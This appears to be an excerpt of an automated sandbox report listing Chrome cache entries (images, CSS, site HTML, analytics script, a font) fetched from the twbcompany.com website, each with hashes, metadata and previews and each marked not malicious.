Preview:	/. Lightcase - jQuery Plugin. * The smart and flexible Lightbox Plugin.. . @author..Cornel Boppart <cornel@bopp-art.com>. * @copyright.Author. . @version..2.1.2 (29/09/2015). /..@media screen {.../ Overlay /..#lightcase-overlay {...display: none;...width: 100%;...height: 100%;....position: fixed;...z-index: 1000;...top: 0;...left: 0;..}.../ Loading /..#lightcase-loading {...position: fixed;...z-index: 1001;...top: 50%;...left: 50%;....margin-top: -0.5em;...margin-left: -0.5em;....opacity: 1;....font-size: 32px;....../ Fixes the icon wobble issue in firefox /...-moz-transform-origin: 50% 53%;....-webkit-animation: lightcase-loading-spin 0.5s infinite linear;...-moz-animation: lightcase-loading-spin 0.5s infinite linear;...-o-animation: lightcase-loading-spin 0.5s infinite linear;...animation: lightcase-loading-spin 0.5s infinite linear;..}.../ Case /..#lightcase-case {...display: none;....position: fixed;...z-index: 1002;...top: 50%;...left: 50%;..}.../ Additional inf

Chrome Cache Entry: 246

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 233 x 51, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4541
Entropy (8bit):	7.7902221871784585
Encrypted:	false
SSDEEP:	96:6AknHfkWhf/pJ1d6pvV+9tiZRM20MSaXvwaPplwypQ:Fkn8Whf/pJ1AW00WXv/PfwOQ
MD5:	D66B92A70C008CD86FA7CF74574E2D67
SHA1:	0776C5A42B1960DF3788D7A212007BD1E6B30162
SHA-256:	379FF0297AA36882981BD011D44F7CFC3EDF9BF15DEB8528D1649D92ACFECD15
SHA-512:	8F4181D78278BCE944F0FFDF928EE979133D737D3F059A9D33AD4781AC68135DA79E247FC81CC8E375BB62CC9FCC3A92D22736CC5E98D350050BAC5CB1BF8143
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......3.....r./.....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.1462899777, 2023/06/25-23:57:14 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:EBA42104A37411EE8CEBFECEBB2F9B1B" xmpMM:InstanceID="xmp.iid:EBA42103A37411EE8CEBFECEBB2F9B1B" xmp:CreatorTool="Adobe Photoshop 2024 Macintosh"> <xmpMM:DerivedFrom stRef:instanceID="uuid:faf5bdd5-ba3d-11da-ad31-d33d75182f1b" stRef:documentID="3B5803A37CE689C69FE552874233FFC1"/> <dc:creator> <rdf:Seq> <rdf:li>Pete Desrosiers</rdf:li> </rdf:Seq> </dc:creator> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r

Chrome Cache Entry: 247

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	83
Entropy (8bit):	4.702629793389398
Encrypted:	false
SSDEEP:	3:gkJRyRUZLW6XS+FXIR9dBlLVOb:PpW6Y75LYb
MD5:	26267CD8990F15D3BBEA71684A6D5995
SHA1:	AC3B38CF3FE0E112BB6AEB7E05226B7133575D93
SHA-256:	769E8AB745A0FE4BF811036E75A8630E38C50A18CB3E24D539CE4A0722C7C85E
SHA-512:	FE52418AE102F6621B45B8663241AB29428D7DED0BF9317B98331F5F5F1F07F0E400F1353F46A51C5724F1E2078791C1E97C4266C11CB1DAA4C388C21B58D6CC
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/plugins/contact-form-7/includes/js/index.js?ver=5.8.7
Preview:	<script>document.cookie = "humans_21909=1"; document.location.reload(true)</script>

Chrome Cache Entry: 248

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 600x450, components 3
Category:	dropped
Size (bytes):	18989
Entropy (8bit):	7.956649507845701
Encrypted:	false
SSDEEP:	384:2bIn9ICi/PuckvJ1nUhE5GhI7mT0XBBr32Ayosf9480GRFX+g8:OCgPuckfx3zr3INP0gFXO
MD5:	A30C4CD8918ED61621D88BD73F315299
SHA1:	7938854EA0078F63D598BAACD0A3D846A470081F
SHA-256:	BA2789A717CD2EACCB402EB011D6E211FEE965D17327B7F7CEFB501AA47C1380
SHA-512:	A51E0187E659166EC095F97CCA112E1E7C796623FB465D046FDC2F8BE2FE72067B01AB155CA2B2B068C18A551B476F5010F66035FFCAD89E85B0EE4C49920CE0
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.......2.....1http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2015 (Macintosh)" xmpMM:InstanceID="xmp.iid:E3B08185599711E5BEEECBB76CCA2AC5" xmpMM:DocumentID="xmp.did:E3B08186599711E5BEEECBB76CCA2AC5"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:E3B08183599711E5BEEECBB76CCA2AC5" stRef:documentID="xmp.did:E3B08184599711E5BEEECBB76CCA2AC5"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...........................................................#"""#''''''''''.................................................

Chrome Cache Entry: 249

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1167x608, components 3
Category:	downloaded
Size (bytes):	80940
Entropy (8bit):	7.95452362759368
Encrypted:	false
SSDEEP:	1536:6Z1I0B4E6w+6aYAhBEHi4LUhJSN/DorPBoSrPyYTxGIpQnA5Qz:OB4ERpHPLUSxAlrv0IpQASz
MD5:	CC8BA1A37CEE40283CA00AAB4CD6ADFA
SHA1:	11CFE36B19978966C9480811DFB474CC0481E5FA
SHA-256:	BF5868A3D198739CBA6834F2215D4506737A5A7B35102473747615E02AA0AA97
SHA-512:	A076B391E6D623EE0B64AD29AB76189C4538F4B6718FEE6B9E9147A3519924297AA48B36A4A3C698DCA2C38C3AFC10ABA8B740515F6C7A781E660A9429357828
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/uploads/2020/11/Picture-of-truck1.jpg
Preview:	......JFIF.....`.`.....C....................................................................C.......................................................................`...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....G.b.u.nx..1KK..q.GNi@.E.XJZ\Q...h..........;......p......bt.....Qp.QK.\R.)qE.8..b.KE-.&)iqK@..)ih..b....K.....1E(...8.1?.Z(.p.QJ(.......-.%..P11KK..H..1K.j.J)...~t..U.....Z.LR.z.....~...@....R........KK.6.T..c.;m(ZC..(.<.M.\..(..w.4.LQKE..m.:.....u.......ciH.....Z1K.(...KJ(...S..R..)\ciH......:R.m.K.W..zQ.=..O.+..R....._.K..%..h..a)iy...GJ\m.....)qK@.

Chrome Cache Entry: 250

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1024x680, components 3
Category:	downloaded
Size (bytes):	21083
Entropy (8bit):	6.924107949732718
Encrypted:	false
SSDEEP:	384:4Cw270d3hGJa2rPnd/yt/LfieYiV6qs+a5IspYWgFu9nTw5f7p2:4CkWJaodYfieZAZ+az6WgFYTwT2
MD5:	CBFE66EBB89FA6F987DE7E89A456B809
SHA1:	9947984FC0A2B7CFD84E80EAE480515256F3F14F
SHA-256:	FFAD003CB6A24E032D3242E582BD3BD8EA659D003607F528648498174667B417
SHA-512:	3A0F3282F9EFAEF18E2EA0ED995DBE67FEF9ECFBE7D35264EC54A69971C2ACF43DBE44A62820B09B3A1915DDCBF169EFD27BB1D032BEE94030587BE97B639A71
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/uploads/2018/04/HFTB-MP-Rr-Rail-Lwr-1300-410.jpg
Preview:	......Exif..II*.................Ducky.............,http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:D60CCDEB092F11E88A78BDB37FCD2333" xmpMM:InstanceID="xmp.iid:D60CCDEA092F11E88A78BDB37FCD2333" xmp:CreatorTool="Adobe Photoshop CC (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:75B6F5F9085411E8B5BFFEDA2E8BCC30" stRef:documentID="xmp.did:75B6F5FA085411E8B5BFFEDA2E8BCC30"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...............................................#%'%#.//33//@@@@@@@@@@@@@@@......................&.....&0#....#0+.'''.+550055@@?@

Chrome Cache Entry: 251

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (8586), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	35084
Entropy (8bit):	5.439015428572752
Encrypted:	false
SSDEEP:	768:vEDa20FZdapFciPTmmoEB1bwod/vhpxG18xnIhW:xxapC8TmmoEB1bTHC8xnIhW
MD5:	47ED7C17043E4A3F7B13F18F89D2495F
SHA1:	1DE3C44B3C9640E8F388339EC7B6BF4651112BCA
SHA-256:	2DB7050EC536AB36A5E6813CE4F1865BD71D7FBD3081CEC12BFFA1839014FD3A
SHA-512:	531101D76E176E4953820947FC028B855644B657CCB888E738A2F46F24BDB9ED4EE7104C41FA98A3EF68AACA2B3825DF17ACD3C85DA904FEBCFED6ABC67F247F
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/
Preview:	<!DOCTYPE html>.. [if IE 6]><html id="ie6" lang="en-US"><![endif]-->.. [if IE 7]><html id="ie7" lang="en-US"><![endif]-->.. [if IE 8]><html id="ie8" lang="en-US"><![endif]-->.. [if !(IE 6) \| !(IE 7) \| !(IE 8) ]> >..<html lang="ENH"> <![endif]-->..<head>..<meta charset="UTF-8">..<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0" />....<link rel="icon" href="https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/favicons/favicon.ico" type="image/x-icon" />..<link rel="shortcut icon" href="https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/favicons/favicon.ico" type="image/x-icon" />..<link rel="apple-touch-icon" href="https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/favicons/apple-touch-icon.png"/>..<meta name="msapplication-TileColor" content="#FFFFFF">..<meta name="msapplication-TileImage" content="https://www.twbcompany.com/2016/wp-content/themes/tw

Chrome Cache Entry: 252

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1920 x 1080, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4140692
Entropy (8bit):	7.968684016707627
Encrypted:	false
SSDEEP:	98304:uxGjCZfkRFcVAnbBJeSBR0b0VherPcAo704BNR:uwjMkFcVuBsSEMerPcA+BH
MD5:	2E9AEEC64CD538BC59536737AC02B05C
SHA1:	348C57231C73F20CB87BBEEC7B8437FE34B35AD2
SHA-256:	9698A12E8B41AC6A92C5240E99C2CD7F1857A60EAFCD8532230EAB04625391D0
SHA-512:	6F78394EFD49961123D8C2E7C78F86E71AC16A6F81AD4C733B3C477DF7A2CB869DE6D2799BC99A68B1D50557B5957162307AD0846133AD0883F53BC64D672FE2
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......8........C....sRGB.........gAMA......a.....pHYs..........o.d....IDATx^..iH]........R...........BPQ...EAEQA.b....b..v.=.$$.!...4...".....t..$...]..v.].......y...s...XYIe..y>....c.c.9...7.k.GEi.J..Q.....h....rY..U..(/KGq...Y.p.F!.>.1q.......p82S.]..gc..'.0<=.b.....S....B.L..g{.7....tOu.k..]Sm..t.7.{.5....U....M.o....t/.f..ZG}h.i....OO-.[JQ.X.."Q)j.Q.)BJa.B.6.6.}l....XD.....D.sS.W....\.8..t.6...T..%.."..(..80?\...,.{b./]._......_.....X..)../d...;v..`Ko8f.6c..k.5lDK..p.~....P[.Q.__..O..Ng....QU....,..f..:..u..v.......RT.....%........ 5?..96.d$#5A...t.".v.&K~.6&&H.$I.$..1q..KDxl.4:Ae.#.S..(...Rlr.TU...I.F.'.Ua.._..#..$.S..,.JL..%...V%.F'!<,..Q)..N.0.Ir.4{.r..Q._.....k+.....a....v.abn.3..1.c....0....[.0.k..{.1.gT.S;....8......!.8....Mbb{/...`..........,.....C.X<2.....G.xx.s..U..h..S.....S..W).K...f.:Z.......1..M.X.O...d.\L...H.............k.......v...]si......./....JJ"Q^..jg&.\.(.rRR.'.$? ..:y?X~\E(..%..xa..s...rP..E.....{T

Chrome Cache Entry: 253

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2343)
Category:	downloaded
Size (bytes):	52916
Entropy (8bit):	5.51283890397623
Encrypted:	false
SSDEEP:	768:oHzaMKHBCwsZtisP5XqYofL+qviHOlTjdNoVJDe6VyKaqgYUD0ZTTE8yVfZsk:caMKH125hYiM8O9dNoVJ3N48yVL
MD5:	575B5480531DA4D14E7453E2016FE0BC
SHA1:	E5C5F3134FE29E60B591C87EA85951F0AEA36EE1
SHA-256:	DE36E50194320A7D3EF1ACE9BD34A875A8BD458B253C061979DD628E9BF49AFD
SHA-512:	174E48F4FB2A7E7A0BE1E16564F9ED2D0BBCC8B4AF18CB89AD49CF42B1C3894C8F8E29CE673BC5D9BC8552F88D1D47294EE0E216402566A3F446F04ACA24857A
Malicious:	false
Reputation:	low
URL:	https://www.google-analytics.com/analytics.js
Preview:	(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.var n=this\|\|self,p=function(a,b){a=a.split(".");var c=n;a[0]in c\|\|"undefined"==typeof c.execScript\|\|c.execScript("var "+a[0]);for(var d;a.length&&(d=a.shift());)a.length\|\|void 0===b?c=c[d]&&c[d]!==Object.prototype[d]?c[d]:c[d]={}:c[d]=b};function q(){for(var a=r,b={},c=0;c<a.length;++c)b[a[c]]=c;return b}function u(){var a="ABCDEFGHIJKLMNOPQRSTUVWXYZ";a+=a.toLowerCase()+"0123456789-_";return a+"."}var r,v;.function aa(a){function b(k){for(;d<a.length;){var m=a.charAt(d++),l=v[m];if(null!=l)return l;if(!/^[\s\xa0]*$/.test(m))throw Error("Unknown base64 encoding at char: "+m);}return k}r=r\|\|u();v=v\|\|q();for(var c="",d=0;;){var e=b(-1),f=b(0),h=b(64),g=b(64);if(64===g&&-1===e)return c;c+=String.fromCharCode(e<<2\|f>>4);64!=h&&(c+=String.fromCharCode(f<<4&240\|h>>2),64!=g&&(c+=String.fromCharCode(h<<6&192\|g)))}};var w={},y=function(a){w.TAGGING=w.TAGGING\|\|[];w.TAGGING[a]=!0};var ba=Array.isArray,c

Chrome Cache Entry: 254

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	2889
Entropy (8bit):	5.088243739446904
Encrypted:	false
SSDEEP:	48:n6KRamNOm5ifMOEKSxBgrvQe9DUMOK+D1S/bqIl3EkEgpVEwVEJVG55ETCet9EwF:6eamNoJUDf4Tc1
MD5:	DC160CDB2CBE6FD479A6418076C3804A
SHA1:	3C8F387D8375845211D7C615D4A9D48B397CBA68
SHA-256:	13B3ADFADACD40A9138448AAEE7F401FD1A74035E030E278CC8973189F298DB5
SHA-512:	656BDFFF261CFC75301F091A60AB6EF1611523E37A113D3767B1F372371845DF1B3DEF1C41BD5675A594F6460718B353C858BB5F653B9E0D871DFEF09A48F9B3
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/plugins/lightcase/css/lightcase-min-641.css
Preview:	/. Lightcase - jQuery Plugin. * The smart and flexible Lightbox Plugin.. . @author..Cornel Boppart <cornel@bopp-art.com>. * @copyright.Author. . @version..2.1.2 (29/09/2015). /..@media screen and (min-width: 641px) {.../ Overlay /..#lightcase-overlay {...background: #333;..}.../ Loading /..#lightcase-loading {...color: #fff;...text-shadow: 0 0 15px #fff;..}.../ Case /..#lightcase-case {...font-family: arial, sans-serif;...font-size: 13px;...line-height: 18px;...text-align: left;....color: #aaa;...text-shadow: 0 0 10px rgba(0,0,0,0.5);..}.../ Content */..#lightcase-case:not([data-type=error]) .lightcase-content {...position: relative;...z-index: 1;...overflow: hidden;....text-shadow: none;....background-color: #fff;....-webkit-box-shadow: 0 0 30px rgba(0,0,0,0.5);...-moz-box-shadow: 0 0 30px rgba(0,0,0,0.5);...-o-box-shadow: 0 0 30px rgba(0,0,0,0.5);...box-shadow: 0 0 30px rgba(0,0,0,0.5);....-webkit-backface-visibility: hidden;..}..#lightcase-case[data-type=image] .lig

Chrome Cache Entry: 255

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1024x680, components 3
Category:	dropped
Size (bytes):	18553
Entropy (8bit):	6.998351680699253
Encrypted:	false
SSDEEP:	384:g4vPUSLFOAxD6uPUUf+l8TNlnOxGTidyUJOmIk:pvPU8FnDbUUlZhOx2idyRg
MD5:	6C80C38CB6759194914B13F50992CB8B
SHA1:	46972CC3458E96D80E686FA10E8BFDFE14122DF2
SHA-256:	4EE152780F2C9A64BCF5FADC6B4F238312F4E183A0ABE8F3A55008B6F95D85EC
SHA-512:	364BD3AD5F139D25282B1D5A035DB549BEE48B311F45507BAA2F90D7B7E177B710DFB2E55948169D3FCCBA658459319FBA6CBCE8B3AADF3E9B42D91EEA23C3F5
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.............,http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:F42E6286092F11E88A78BDB37FCD2333" xmpMM:InstanceID="xmp.iid:F42E6285092F11E88A78BDB37FCD2333" xmp:CreatorTool="Adobe Photoshop CC (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:75B6F5F9085411E8B5BFFEDA2E8BCC30" stRef:documentID="xmp.did:75B6F5FA085411E8B5BFFEDA2E8BCC30"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...............................................#%'%#.//33//@@@@@@@@@@@@@@@......................&.....&0#....#0+.'''.+550055@@?@

Chrome Cache Entry: 256

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 455 x 99, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	6215
Entropy (8bit):	7.928883588522041
Encrypted:	false
SSDEEP:	192:oR9ev8vEW5uJkCRWSRNelzlSylrOgTNxtCUxD:c0CELHXElSyx/tNh
MD5:	279358B3FC005833384366266D2E853A
SHA1:	EDD19378DC72DA47197DC9326E29A05C201824E7
SHA-256:	3C688C45D05E26CC21D7AB8C9949344A5B8CD9B644EC539C0802FB67834D8C5B
SHA-512:	AEBED1CF1762C0A9B3AE1AEF6569CB1AD0835563C358AF78541E6534A784CCB1D6CE7AE20DFA85B6D973E055C4C0C5B3CB950E85F425AD70E657C42BCA415235
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/uploads/2019/05/baosteeldark2.png
Preview:	.PNG........IHDR.......c.............bKGD.......C......pHYs...#...#.x.?v....tIME.....1...=....tEXtComment.Created with GIMPW.......IDATx..]_.$.}..r.<E.%.)....q......9..$.!7k....z,.....Z.A..7........!..dg....v/o.1;..@..P..~..qD.A..1..<.o....LUu.L....a.{.......w.%.RI.@.@].].P..g..x......@.x.. ..0.F........b..O...}..$K. ....T......M....>.%A..Q.r...#.X[.{....8.:N9-.. H..&...m.QI..).].$A...q....Jl:..... 3...V..%....v..@....&.A.$G.X.p.@.=x.......:..}Q..N.. ..cQR.!.).$.c..&.qEB..C...8.... ....J@mQ.....`...#......C....SN.. ......A.pc.......\|..$t......t..A..Ar4!.#......x.R`.x..I.M....I..Ar.E.......=!.R...I..,.h(...T".. 9..I$jk..q.,.e.3....\|+8...y...... ....!.ta..:...M`5.....\|..(.3......;.R.A.kL......U+.1..#.g........N+. .j.'............"._...?....^m....g........z.......3s....W[.....E...F..R1^..x3E1N....KZ./pz..A..9Jk.....t....r.....\|.OZ>...7..C.e.....D.^.....<ET...J.AV....._.......j.w...B..\..._c.$aI&M\|T.n..f......%D.G.~.n.....!y....O...\...?... .E.r<3...M.sL......."

Chrome Cache Entry: 257

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	787
Entropy (8bit):	7.535224668131678
Encrypted:	false
SSDEEP:	24:YgktmKBgMJliZv7AmrYq1Yv6Bv9aRdgcafK:Yge5lgv7AFqm81qdgcafK
MD5:	43F0AB4CBCC999CF3D3BD81BB05FE952
SHA1:	8B0F5C1805305E826C8457935C6BE08C22C46A85
SHA-256:	5F979BB91EAF11B4A8F292CF49BAB2250EB755CFF8F6A10169977DB44ACABD3E
SHA-512:	1F164474D779239ECDAE5A39CDF1D13AD93CD1B2920600FF4364E2A429DED442702B84E03449D08ED9740564125DFB56FFE8FE59D77E29BE2ED951EC74C7DAD5
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............(-.S....PLTE...E.J....hW.gW7.@.aQ..7.F9.A.^P.^P.........z.4B.EF.F. ..G@.DI.G......RG....#."...QG.gV=.B.'F8.AL.H9.A.[N.U>7.A...dT.cS.QG.......\O.G@.D<.B>..B.D?.D:.A.G@...T..Dq..N..]....s.]O3.NG.F-.-,.+.w$.v#...%...................X...........v.......R..G..?.......e..\|..V..R..6~.'q......g...........q...}..w.hb,.O..N..L(.I..G.PGD.E6.D{.A:.?..>.8>a.:..7.=7.;7.)4.!2.'0,...4...,..(.%. ..cu...........................v....)j. ...*tRNS.....d#...................zzsnlkgeXSJ....c.......IDAT..c..M6.ff.9..(P....[.6._V..$@\|..SS.ZW.j= P``.`,..h....uvrvRgP.,..........pw.d.e.k..........fb...kN..177.I...2...7.E&...&..x.D....}-..,.r.Z......-,".<....8.....m..m.t.......M.B5.e=..f.2 ......g....A<..iR.....(....0?...;...H/4.........IEND.B`.

Chrome Cache Entry: 258

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 232 x 240, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	34669
Entropy (8bit):	7.978029184557293
Encrypted:	false
SSDEEP:	768:Ptso4Ube0CPNZkeaKFC60tea+jTR6EtglQJ6hLjIkyx1bMChN2TFU+v:Oo4Ube0C1ZkeaKFCVsLjTR6WwQ+LkkGm
MD5:	6CAABC9B810F4E98D8F81BF2317FFD3A
SHA1:	6EDD15DD52286FA8D91475816689205DE7315963
SHA-256:	A7D245CBF1735ADF44B964341C0A16546B8025E2054B22A35182C5005703D9BF
SHA-512:	D9ED350D292C13F8905FED5FBC505BE2137D66B4B80F30A2330F21818AF817AAD6B3F8A23B9E51A8029ACDC51FDCEB50E89124DF5175BF8556B113E5C1F0495C
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/logos/iso-ts16949.png
Preview:	.PNG........IHDR..............,(.....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:2B93DE74439411E5B4CD90028FE3513D" xmpMM:InstanceID="xmp.iid:2B93DE73439411E5B4CD90028FE3513D" xmp:CreatorTool="Adobe Photoshop CC 2015 Macintosh"> <xmpMM:DerivedFrom stRef:instanceID="C8A7FCDEFCBA9BC49DA56EFABE3904E2" stRef:documentID="C8A7FCDEFCBA9BC49DA56EFABE3904E2"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.......IDATx..}..\e...[KW*M.4!1...ADDQ.q.u.w.e.]pW...Pqd..QGQ.}.}.w..Q.QQAt`.c.!M.i:.Ju...........W.tu%..}..twu.{..,.y..9.sep.

Chrome Cache Entry: 259

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 48236, version 1.0
Category:	downloaded
Size (bytes):	48236
Entropy (8bit):	7.994912604882335
Encrypted:	true
SSDEEP:	768:uj6JxavgLx5rjTH3CdZ3y11o4uMb2IVEhiB6z6GAAHJApICtBgso6HaOjTXHRWK:ujoa4LxZPCdm3B2IVEhiB62apApISxos
MD5:	015C126A3520C9A8F6A27979D0266E96
SHA1:	2ACF956561D44434A6D84204670CF849D3215D5F
SHA-256:	3C4D6A1421C7DDB7E404521FE8C4CD5BE5AF446D7689CD880BE26612EAAD3CFA
SHA-512:	02A20F2788BB1C3B2C7D3142C664CDEC306B6BA5366E57E33C008EDB3EB78638B98DC03CDF932A9DC440DED7827956F99117E7A3A4D55ACADD29B006032D9C5C
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTS-muw.woff2
Preview:	wOF2.......l......D...............................O..B..h?HVAR.x.`?STAT.$'...0+...\|.../V........+..2.0..6.6.$..`. ..~......[B4q.....t..P.M_.z...1..R.S...u.#..R....fR.1.N.v.N.P...;.2........!Z......Qs...5f.G.K.an2&....2.........C.H.t..N!.....nh.<(.vN.....j.._.L.P.t..Ai.%.............._I.i,..o,C.].H.X9.....a.=N....k.....n.L..k.f.u..{...:.}^\[..~5...Z`...........`!...%4..,...K0..&.a/....P....S....m.Z......u...D.j.F...f.0`I.`.`.h#..)(FQ.F!o$........S.).MV8%Rh...r...x...T]$.=......Y...!.3.&U..."....Q....{.l/0..d..4iJ/..}...3....i[Z..NG.WD...>.[U..Q.h..@m.=..S...1C2...d...<..v.?.q.f..n...OUz.....&Z......Z."..N.....n...9.B..C..W....}...W..6Zs.i.+Z........jB.n..x.8M.....q..@I....-.%..,C,..K..#.2...4)/.v_..x.<....t.....%[.4?.=j.V..jj''..W.u..q....I.L.=......E...\.M.7{.>......W........C.`...,9$......\..o........y...4A..m.P.,X..=?.:................wF`..+.P..........M!.4.......l.>M..t.ff5r..^..Z.g...!fA,hIIQ...e.R>B.AH.VuX..>..\.=.ky...1>C....>C.c.;...6D.

Chrome Cache Entry: 260

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 689x300, components 3
Category:	dropped
Size (bytes):	41140
Entropy (8bit):	7.977611376221006
Encrypted:	false
SSDEEP:	768:450wtVv4EOQLuu3nzW9lTYglktebTUyZh0jpfLXvMAh5Dsw+L:45Dv4wLQdYmkOwW0VLXBzDRW
MD5:	64741749166E1BC7145CE096026C13EE
SHA1:	2D3509D24E2ACB0F3532FA927870672592BA6390
SHA-256:	D6DCE4589EEEDB2517AB4B02F7C9946E10F280BE0FA4846BE813CA24E17CDBC5
